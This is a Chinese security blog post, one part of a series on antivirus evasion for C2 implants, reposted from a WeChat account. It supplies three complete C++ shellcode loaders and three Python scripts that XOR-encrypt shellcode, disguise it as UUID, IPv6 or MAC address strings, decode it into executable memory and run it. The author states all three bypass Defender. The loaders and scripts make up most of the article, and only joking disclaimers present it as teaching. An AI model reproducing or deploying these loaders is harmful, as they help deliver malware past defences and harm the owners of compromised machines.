【免杀】C2免杀技术(十五)shellcode混淆uuid/ipv6/mac

admin 2025年6月5日03:18:17评论24 views字数 9382阅读31分16秒阅读模式
针对shellcode混淆(Shellcode Obfuscation)的实战手段还有很多,如下表所示:
类型
举例
目的
编码 / 加密
XOR、AES、RC4、Base64、Poly1305、UUID、IP/MAC
改变字节特征,避开静态签名或 YARA
结构伪装
PE Stub、GIF/PNG 嵌入、RTF OLE、UUID、IP/MAC
看起来像合法文件/数据,弱化“可执行”标签
控制流混淆
偏移、乱序、分段、跳转链、指令变异
破坏解码器/反汇编器的直线流
加密手段之前文章写过,详见:【免杀】C2免杀技术(三)shellcode加密 ,本文介绍一些其它方式。
UUID Obfuscation

“UUID Obfuscation” 是一种非常实用的 shellcode 混淆与免杀手段,利用 UUID(通用唯一识别码)的标准格式来编码恶意 shellcode,使其看起来像正常的标识符,从而绕过静态特征检测。

UUID(Universally Unique Identifier)是通用唯一标识符的缩写,标准格式如下: 

xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx//例如:b36fa7a3-e8cf-4d99-9db0-9a9b9e3768e1
思路

1、伪装 shellcode:把原始或加密的 shellcode 按照 16 字节一组切割,每组转换为一个 UUID 字符串(或多个 UUID 组合),看起来像合法数据,避免被 AV/EDR 静态特征识别。

2、还原 shellcode:在运行时,用如 UuidFromStringA() 等 API 将 UUID 字符串反解为 16 字节的原始数据,重新组合形成完整 shellcode,然后执行。

加载器
#include<Windows.h>#include<Rpc.h>#pragma comment(lib, "Rpcrt4.lib")constexpr BYTE   XOR_KEY[] = { 'k','u','n' };constexpr SIZE_T KEY_LEN = sizeof(XOR_KEY);static const wchar_t UUID_BLOB[] = LR"(//自己的payload)"; intwmain(){    // 1) 统计块数, 计算加密大小    SIZE_T uuidCount = 0;    for (const wchar_t* p = UUID_BLOB; *p; ++p)        if (*p == L'n') ++uuidCount;    if (UUID_BLOB[0]) ++uuidCount;    const SIZE_T encSize = uuidCount * 16;    // 2) 申请 RWX 内存    BYTE* execMem = static_cast<BYTE*>(        VirtualAlloc(nullptr, encSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE));    if (!execMem) return -10;    // 3) 分割 blob, 调用 UuidFromStringW 写入    wchar_t* blobCopy = _wcsdup(UUID_BLOB);           // 可写副本    if (!blobCopy) return -11;    SIZE_T offset = 0;    wchar_t* ctx = nullptr;    for (wchar_t* tok = wcstok(blobCopy, L"nrt ", &ctx);        tok && *tok;        tok = wcstok(nullptrL"nrt ", &ctx))    {        UUID* dest = reinterpret_cast<UUID*>(execMem + offset);        if (UuidFromStringW(reinterpret_cast<RPC_WSTR>(tok), dest) != RPC_S_OK) return -12;        offset += 16;    }    free(blobCopy);    // 4) XOR 解密 (就地)    for (SIZE_T i = 0; i < encSize; ++i)        execMem[i] ^= XOR_KEY[i % KEY_LEN];    FlushInstructionCache(GetCurrentProcess(), execMem, encSize);    // 5) 执行    reinterpret_cast<void(*)()>(execMem)();    // 6) 自清理    SecureZeroMemory(execMem, encSize);    VirtualFree(execMem, 0, MEM_RELEASE);    return 0;}
转换脚本
import argparse, pathlib, uuid, sysdef parse_key(s: str) -> bytes:    if all(c in "0123456789abcdefABCDEF" for c in s):        s = s.replace(" """)        return bytes.fromhex(s)    return s.encode()p = argparse.ArgumentParser()p.add_argument("infile"help="原始 shellcode 文件")p.add_argument("--key", default="kun"help="XOR 密钥(字符串或16进制)")args = p.parse_args()key = parse_key(args.key)sc  = pathlib.Path(args.infile).read_bytes()enc = bytearray(b ^ key[i % len(key)] for i, b in enumerate(sc))while len(enc) % 16:    enc.append(0x90)              # pad NOP# 输出 -> 逐行 UUIDprint("n// 复制以下 UUID 到 loader 的 UUID_BLOB:n")for i in range(0len(enc), 16):    print(uuid.UUID(bytes_le=bytes(enc[i:i+16])))
IPv6 Obfuscation

“IPv6 Obfuscation” 指的是利用 IPv6 地址格式,将敏感内容(如 shellcode、payload、命令参数等)进行“伪装”或“编码”,以躲避静态特征匹配、签名检测等安全机制。它属于一种结构伪装 + 编码混淆的免杀技巧。 

IPv6 是 128 位地址,由 8 段 16 位(每段 4 个十六进制字符)组成: 

格式:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx

思路

类似于UUID,这类思路基本是一个意思!

1、将原始的二进制数据(如 shellcode)按每 16 字节分段;

2、每 2 字节表示成 4 位十六进制,拼成 IPv6 格式;

3、在代码中以字符串数组形式呈现,伪装为“IPv6 地址”;

4、程序运行时再反向还原成原始二进制数据。

加载器

#include<Windows.h>#include<stdio.h>#include<Ip2string.h>#pragma comment(lib, "Ntdll.lib")#ifndef NT_SUCCESS#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#endifconst char* IPv6Shell[] = {    //自己的payload};#define ElementsNumber 56#define SizeOfShellcode 896unsigned char xor_key[] = { 'k','u','n' };const int key_len = sizeof(xor_key);BOOL DecodeIPv6Fuscation(constchar* IPV6[], PVOID LpBaseAddress){    PCSTR Terminator = NULL;    NTSTATUS STATUS;    int offset = 0;    for (int i = 0; i < ElementsNumber; i++) {        PVOID Target = (PVOID)((ULONG_PTR)LpBaseAddress + offset);        STATUS = RtlIpv6StringToAddressA(IPV6[i], &Terminator, (in6_addr*)Target);        if (!NT_SUCCESS(STATUS)) {            printf("[!] Decode failed: %s (Status: 0x%X)n", IPV6[i], STATUS);            return FALSE;        }        offset += 16;    }    return TRUE;}voidXorDecryptShellcode(PBYTE buffer, SIZE_T size){    for (SIZE_T i = 0; i < size; ++i) {        buffer[i] ^= xor_key[i % key_len];    }}intmain(){    PVOID LpBaseAddress = VirtualAlloc(NULL, SizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!LpBaseAddress) {        printf("[!] VirtualAlloc failed: %dn"GetLastError());        return -1;    }    // Step 1: 解码 IPv6 表达的 shellcode    if (!DecodeIPv6Fuscation(IPv6Shell, LpBaseAddress)) {        return -1;    }    // Step 2: XOR 解密(解码完之后)    XorDecryptShellcode((PBYTE)LpBaseAddress, SizeOfShellcode);    printf("[+] 仇辉攻防:XOR 解密完成n");    // Step 3: 执行 shellcode    HANDLE hThread = CreateThread(NULL0, (LPTHREAD_START_ROUTINE)LpBaseAddress, NULL0NULL);    if (!hThread) {        printf("[!] CreateThread failed: %dn"GetLastError());        return -1;    }    printf("[+] 仇辉攻防:Shellcode 执行中...n");    WaitForSingleObject(hThread, INFINITE);    VirtualFree(LpBaseAddress, 0, MEM_RELEASE);    return 0;}
转换脚本
import sysimport socketimport textwrap# === 用户配置区 ===xor_key = b'kun'  # XOR 密钥,必须和 C++ 中保持一致input_shellcode_file = "payload.bin"  # 你的原始 shellcode 文件路径# ==================def xor_encrypt(data, key):    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])def to_ipv6_block(data16):    # 16 字节转为 IPv6 格式:8组2字节,每组转为4位16进制    hex_parts = [f'{(data16[i] << 8) + data16[i+1]:04X}' for i in range(0162)]    return ':'.join(hex_parts)def pad_to_16_blocks(data):    # 不足16字节,使用 0 补齐    if len(data) % 16 != 0:        pad_len = 16 - (len(data) % 16)        data += b'x00' * pad_len    return datadef main():    with open(input_shellcode_file, 'rb'as f:        raw = f.read()    print(f"[+] Original shellcode size: {len(raw)} bytes")    # 1. XOR 加密    encrypted = xor_encrypt(raw, xor_key)    # 2. 填充为16字节块    padded = pad_to_16_blocks(encrypted)    # 3. 分块转换为 IPv6    ipv6_list = []    for i in range(0len(padded), 16):        block = padded[i:i+16]        ipv6_list.append(to_ipv6_block(block))    # 4. 打印为 C++ 格式数组    print("n[+] IPv6Shell[] for C++:n")    print("const char* IPv6Shell[] = {")    for ip in ipv6_list:        print(f'    "{ip}",')    print("};")    print(f"#define ElementsNumber {len(ipv6_list)}")    print(f"#define SizeOfShellcode {len(padded)}")if __name__ == '__main__':    main()
MAC Obfuscation

“MAC Obfuscation” 是一种将 原始 payload(如 shellcode)伪装成 MAC 地址格式 的免杀混淆技术,常用于绕过静态特征扫描、正则特征匹配等杀毒机制。这种方法属于结构伪装 + 可逆编码的一种。 

MAC 地址每个 XX 是 1 字节(8 bit),一整组 MAC 地址表示 6 字节(48 bit)数据。 格式如下:

XX-XX-XX-XX-XX-XX   或   XX:XX:XX:XX:XX:XX

思路

1、每 6 字节 shellcode → 生成一条伪 MAC 地址字符串,使用 - 或 : 分隔;

2、程序运行时再逐条解析字符串还原为原始二进制数据。

加载器

#include<Windows.h>#include<stdio.h>#include<Ip2string.h>#pragma comment(lib, "Ntdll.lib")#ifndef NT_SUCCESS#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#endif// 伪装 shellcode,每段 6 字节const char* MACShell[] = {    //自己的payload};#define ElementsNumber 149#define SizeOfShellcode 894unsigned char xor_key[] = { 'k','u','n' };const int key_len = sizeof(xor_key);// 解码 MAC 表达的 shellcode(密文)BOOL DecodeMACFuscation(constchar* MAC[], PVOID LpBaseAddress){    PCSTR Terminator = NULL;    NTSTATUS STATUS;    int offset = 0;    for (int i = 0; i < ElementsNumber; i++) {        PVOID dest = (PVOID)((ULONG_PTR)LpBaseAddress + offset);        STATUS = RtlEthernetStringToAddressA(MAC[i], &Terminator, (DL_EUI48*)dest);        if (!NT_SUCCESS(STATUS)) {            printf("[!] Failed to decode: %s (Status: 0x%X)n", MAC[i], STATUS);            return FALSE;        }        offset += 6;    }    return TRUE;}// XOR 解密(在 trampoline 内调用)voidXorDecrypt(PBYTE buffer, SIZE_T size){    for (SIZE_T i = 0; i < size; ++i) {        buffer[i] ^= xor_key[i % key_len];    }}// 跳板线程函数:解密 → 调用 → 清除DWORD WINAPI ShellcodeRunner(LPVOID lpParam){    struct Args {        PBYTE buffer;        SIZE_T size;    };    Args* args = (Args*)lpParam;    PBYTE code = args->buffer;    SIZE_T size = args->size;    XorDecrypt(code, size);    ((void(*)())code)();    SecureZeroMemory(code, size);    return 0;}intmain(){    // 分配内存    PBYTE shellcodeMem = (PBYTE)VirtualAlloc(NULL, SizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!shellcodeMem) {        printf("[!] VirtualAlloc failed: %dn"GetLastError());        return -1;    }    // 解码 MACShell → 写入内存    if (!DecodeMACFuscation(MACShell, shellcodeMem)) return -1;    // 封装参数    struct Args {        PBYTE buffer;        SIZE_T size;    } *args = new Args{ shellcodeMem, SizeOfShellcode };    // 启动 trampoline 线程    HANDLE hThread = CreateThread(NULL0, ShellcodeRunner, args, 0NULL);    WaitForSingleObject(hThread, INFINITE);    VirtualFree(shellcodeMem, 0, MEM_RELEASE);    delete args;    return 0;}

转换脚本

import textwrap# ========== 配置项 ==========xor_key = b'kun'                           # XOR 密钥(必须与 C++ 保持一致)input_file = "payload.bin"              # 原始 shellcode 文件(raw 格式)group_size = 6                             # MAC 地址格式为 6 字节# ============================def xor_encrypt(data, key):    return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])def pad_data(data, block_size):    pad_len = block_size - (len(data) % block_size)    if pad_len != block_size:        data += b'x90' * pad_len  # 使用 NOP 填充    return datadef bytes_to_mac(b6):    return "-".join(f"{b:02X}" for b in b6)def main():    with open(input_file, "rb"as f:        raw = f.read()    print(f"[+] 原始 shellcode 大小: {len(raw)} 字节")    encrypted = xor_encrypt(raw, xor_key)    padded = pad_data(encrypted, group_size)    mac_blocks = [bytes_to_mac(padded[i:i+group_size]) for i in range(0len(padded), group_size)]    print("n[+] 生成的 MACShell[]:n")    print("const char* MACShell[] = {")    for i, mac in enumerate(mac_blocks):        print(f'    "{mac}",')    print("};")    print(f"#define ElementsNumber {len(mac_blocks)}")    print(f"#define SizeOfShellcode {len(padded)}")if __name__ == "__main__":    main()

免杀测试截图

以上三种混淆方式,本文中的三个加载器,全部过DF!

【免杀】C2免杀技术(十五)shellcode混淆uuid/ipv6/mac

文中加载器代码仅仅在之前xor加密的情况下(DF查杀)加的混淆,没有使用其它任何手段。

文章结尾

免杀效果通常受多方面影响,没有哪一种技术或者手段能够通吃,通常需要多种手段结合才能最终实现免杀;其次,实战中面临的环境也不一样,不同的杀软效果也不一样,具体问题还需具体分析。本系列文章以技术的实现为主,验证时讲究点到为止,以此表达一项技术的有效性。 

#免杀 #加载器 #shellcode #shellcode混淆 #绕过

本文免责声明

本文只教技术,不教犯罪。要是你拿去搞事情,被查水表、喝茶、进去蹲号子——那是你“才华横溢”惹的祸,和我没半毛钱关系。“仇辉攻防”不背锅、不出庭、不送烟! 

原文始发于微信公众号(仇辉攻防):【免杀】C2免杀技术(十五)shellcode混淆uuid/ipv6/mac

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月5日03:18:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀】C2免杀技术(十五)shellcode混淆uuid/ipv6/machttps://cn-sec.com/archives/4133992.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息